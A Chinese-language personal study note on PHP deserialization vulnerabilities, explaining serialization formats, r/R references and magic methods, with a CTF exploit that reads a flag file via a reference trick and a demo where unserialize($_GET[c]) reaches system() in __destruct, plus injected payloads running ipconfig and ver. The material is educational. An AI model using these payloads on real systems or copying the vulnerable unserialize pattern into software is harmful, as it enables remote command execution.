反序列化

什么是反序列化?

格式转换

序列化:对象转换为字符串或者数组等格式

反序列化:将数组或字符串转换成对象

为什么会出现安全漏洞?

魔术方法

如何利用漏洞?

通过构造pop链,找到代码的逻辑漏洞,进行getshell,rce等操作

反序列化利用分为三类

  • 魔术方法的调用逻辑
  • 语言原生类的调用逻辑,如SoapClient
  • 语言自身的安全缺陷,如CVE-2016-7124

序列化

在各类语言中,将对象的状态信息转换为可存储或可传输的过程就是序列化,序列化的逆过程就是便是反序列化,主要是为了方便对象传输。所以当我们把一段php代码序列化之后,通过GET or POST方法传进去,php引擎是可以通过unserialize函数读取的

PHP基本类型的序列化

bool:  b:value =>b:0
int: i:value=>i:1
str: s:length:“value”;=>s:4"aaaa"
array :a:<length>:{key:value pairs};=>a:{i:1;s:1:“a”}
object:O:<class_name_length>:
NULL: N

序列化前

<?php
class test{
public $a=false;
public $b=3;
public $c='hello';
public $d=array(1,2,3,'hello');
public $e=NULL;
}
$test = new test;
echo serialize($test);
?>

序列化后

O:4:“test”:5:{s:1:“a”;b:0;s:1:“b”;i:3;s:1:“c”;s:5:“hello”;s:1:“d”;a:4:{i:0;i:1;i:1;i:2;i:2;i:3;i:3;s:5:“hello”;}s:1:“e”;N;}

R与r

当两个对象本来就是同一个对象时会出现的对象将会以小写r表示。

不过基础类型不受此条件限制,总是会被序列化

为什么?(看完“分析”以后再看这里)

<?php
$x = new stdClass;
$x->a = 1; $x->b = $x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";i:1;} // 基础类型
$y = new stdClass;
$x->a = $y; $x->b = $y;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";O:8:"stdClass":0:{}s:1:"b";r:2;}
// id(a) == id(b),二者都是$y;
$x->a = $x; $x->b = $x;
// O:8:"stdClass":2:{s:1:"a";r:1;s:1:"b";r:1;}

而当PHP中的一个对象如果是对另一对象显式的引用,那么在同时对它们进行序列化时将通过大写R表示

<?php
$x = new stdClass;
$x->a = 1;
$x->b = &$x->a;
echo serialize($x);
// O:8:"stdClass":2:{s:1:"a";i:1;s:1:"b";R:2;}

魔术方法

魔术方法 说明
__construct() 构造函数,当对象new时会自动调用
__destruct() 折构函数,当对象被销毁时会被自动调用
__wakeup() unserialize() 时会被自动调用,在其之前
__invoke() 当尝试以调用函数的方法调用一个对象时,会被自动调用
__call() 当尝试以调用函数的方法调用一个对象时,会被自动调用
__callStack() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 在类被当作字符串使用时触发,如echo
__sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep,如果存在,该方法会被优先调用

这里用到了php魔术方法,简单概括就是当对某个对象进行某种操作(创建,销毁等)时,就会自动调用魔术方法

eg:例如题目中有一个类名为Clazz的class类,比如当我 们unserialize了一个Clazz,在这之前会调用__wakeup,在这之后会调用 destruct

exp:

<?php
class Clazz
{
public $a;
public $b; public function __wakeup()
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct()
{
echo $this->b;
}
}
$a=new Clazz();
$a->b=&$a->a;
echo serialize($a);
?>

序列化后得到payload:O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}

R为2代表是第二个反序列化元素被引用

POST方法传进data就拿到了base64的flagPD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=

<?
$FLAG= "FLAG{y0u_are_l0ve!!!!}"
?>
<?php
class Clazz
{
public $a;
public $b;
}
$C=new Clazz();
$C->b=&$C->a;
echo serialize($C);

这样写exp也是可以的,在exp里我们只需要让b成为a的引用,让b和a的内存地址是一样的。

当我们把payload传进data之后,在@unserialize($_POST['data'])前会调用wakeup魔术方法,然后flag会传进a的内存地址,然后在序列化过程中将属性b设置为属性a的应用,然后就就会调用destruct魔术方法echo出b

这里的 @ 前缀作用如下:

  1. 抑制错误:如果 unserialize($_POST['data']) 在执行过程中遇到错误(如序列化数据格式不正确、类不存在、魔术方法引发的异常等),@ 运算符会阻止这些错误信息被输出到浏览器或日志中。这对于攻击者来说可能是有利的,因为他们可以隐藏其攻击尝试的痕迹,避免被管理员或其他监控系统检测到。
  2. 继续执行:即使 unserialize() 函数内部发生了错误,由于错误被抑制,程序不会立即停止执行。这使得攻击者有机会尝试多种不同的攻击载荷,而不必担心单次尝试失败导致整个请求中断。
  3. 安全风险:使用 @ 错误抑制符可能导致安全问题难以被及时发现和修复。由于错误信息被隐藏,管理员可能无法意识到系统存在潜在的反序列化攻击或其他安全漏洞。此外,攻击者也可能利用 @ 运算符掩盖其利用反序列化漏洞执行恶意代码的过程。

核心例子

这是一段php代码

<?php
class C{
public $cmd = 'ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
$cc = new C();
echo serialize($cc);
?>

这是执行效果,会echo一个xiaodisec,再打印出序列化后的cc,然后执行ipconfig

我们把代码改一下

<?php
class C{
public $cmd = 'ipconfig';
public function __destruct(){
system($this->cmd);
}
public function __construct(){
echo 'xiaodisec'.'<br>';
}
}
//$cc = new C();
//echo serialize($cc);//O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}
unserialize($_GET[c]);
?>

我们把上面构造好的exp序列化之后,传入c中,可以完成ipconfig

然而我们可以做的并不止这个,在我们的payloadO:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}中,我们要执行的命令时ipconfig,他是一个public变量,我们在传入这个序列化字符串的时候,还可以做到更改这个变量的信息,例如:O:1:"C":1:{s:3:"cmd";s:3:"ver";}

(ver:查看当前操作系统的版本号)

php反序列化个人笔记的更多相关文章

  1. C#序列化与反序列化学习笔记

    本笔记摘抄自:https://www.cnblogs.com/maitian-lf/p/3670570.html,记录一下学习过程以备后续查用. 序列化是把一个内存中的对象的信息转化成一个可以持久化保 ...

  2. c#中对json数据的序列化和反序列化(笔记)

    今天遇到在后台中要获取json格式数据里的某些值,网上查了些资料: string jsonstr = _vCustomerService.LoadCustomerbyNumTotalData(quer ...

  3. fastjson 反序列化漏洞笔记,比较乱

    现在思路还是有点乱,希望后面能重新写 先上pon.xml 包 <?xml version="1.0" encoding="UTF-8"?> < ...

  4. java中的序列化和反序列化学习笔记

    须要序列化的Person类: package cn.itcast_07; import java.io.Serializable; /* * NotSerializableException:未序列化 ...

  5. 前端JS 与 后台C# 之间JSON序列化与反序列化(笔记)

    JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式.   在 前端浏览器 和 后端服务器 之间通常会使用 JSON格式的数据 来进行数据交互,而JSON格式的 ...

  6. python反序列化研究学习

    零.补充: 补充于2018-02-08,之前研究时候有一个疑惑,python的序列化成二进制,打web服务怎么传这个二进制对象呢,今天请教了身边大神(传说的九零后黑客代表),可以使用base64传输. ...

  7. WebAPI调用笔记 ASP.NET CORE 学习之自定义异常处理 MySQL数据库查询优化建议 .NET操作XML文件之泛型集合的序列化与反序列化 Asp.Net Core 轻松学-多线程之Task快速上手 Asp.Net Core 轻松学-多线程之Task(补充)

    WebAPI调用笔记   前言 即时通信项目中初次调用OA接口遇到了一些问题,因为本人从业后几乎一直做CS端项目,一个简单的WebAPI调用居然浪费了不少时间,特此记录. 接口描述 首先说明一下,基于 ...

  8. CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记

    weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...

  9. GSON使用笔记(3) -- 如何反序列化出List

    GSON使用笔记(3) -- 如何反序列化出List 时间 2014-06-26 17:57:06  CSDN博客原文  http://blog.csdn.net/zxhoo/article/deta ...

  10. .net学习笔记--序列化与反序列化

    序列化其实就是将一个对象的所有相关的数据保存为一个二进制文件(注意:是一个对象) 而且与这个对象相关的所有类型都必须是可序列化的所以要在相关类中加上 [Serializable]特性 对象类型包括:对 ...

随机推荐

  1. 深入解析 Dubbo 3.0 服务端暴露全流程

    ​简介: 随着云原生时代的到来,Dubbo 3.0 的一个很重要的目标就是全面拥抱云原生.正因如此,Dubbo 3.0 为了能够更好的适配云原生,将原来的接口级服务发现机制演进为应用级服务发现机制. ...

  2. [ML] 科学编程语言 Octave 简单操作

    octave 是和 matlab 类似的软件,可以方便的进行矩阵计算.图形绘图. matlab 收费,octave 是 gnu 开源软件. Mac 安装: $ brew install octave ...

  3. dotnet 读 WPF 源代码笔记 提升调试效率的 NamedObject 类型

    本文来聊聊 WPF 那些值得称赞的设计中的 NamedObject 类型.在 WPF 中,有很多值得我学习的设计开发思想,其中就包括本文将要介绍的 NamedObject 类型.此类型的定义仅仅只是为 ...

  4. 在网页上直接运行Win11,5秒内用AI克隆自己的声音 | 蛮三刀酱的Github周刊第二期

    大家好,这里是每周更新的Github精彩分享周刊,我是每周都在搬砖的蛮三刀酱. 我会从Github热门趋势榜里选出 高质量.有趣,牛B 的开源项目进行分享. 1. PowerShell:不止于Wind ...

  5. 微服务从代码到k8s部署应有尽有系列全集

    微服务从代码到k8s部署应有尽有系列全集 https://mp.weixin.qq.com/s/8U2h85YJHy3H3hzlBakPPw 实战项目地址:https://github.com/Mik ...

  6. csapp-attacklab(完美解决版)

    注意:必须阅读Writeup,否则根本看不懂这个lab要怎么做 实验前准备 1.在终端中输入./ctarget和./rtarget结果报错 百度后得知自学的同学需要在执行文件时加上-q参数,不发送结果 ...

  7. 不同模式下删除Oracle数据表的三个实例

    首发微信公众号:SQL数据库运维 原文链接:https://mp.weixin.qq.com/s?__biz=MzI1NTQyNzg3MQ==&mid=2247485212&idx=1 ...

  8. Windows server 2012 R2开机进入cmd,关闭后黑屏

    出现此问题,一般只有两种情况,操作系统装置前和操作系统装置后出现: 第一种: 装置操作系统的时候没有选择"Windows Server 2012 R2 Strandard( 带有GUI的服务 ...

  9. Linux环境下:程序的链接, 装载和库[可执行文件的装载]

    现代操作系统如何装载可执行文件? 给进程分配独立的虚拟地址空间 建立虚拟地址空间和可执行文件的映射关系 把CPU指令寄存器设置成可执行文件的入口地址,启动执行 可执行文件在装载的过程中实际上是映射的虚 ...

  10. Django国际化与本地化指南

    title: Django国际化与本地化指南 date: 2024/5/12 16:51:04 updated: 2024/5/12 16:51:04 categories: 后端开发 tags: D ...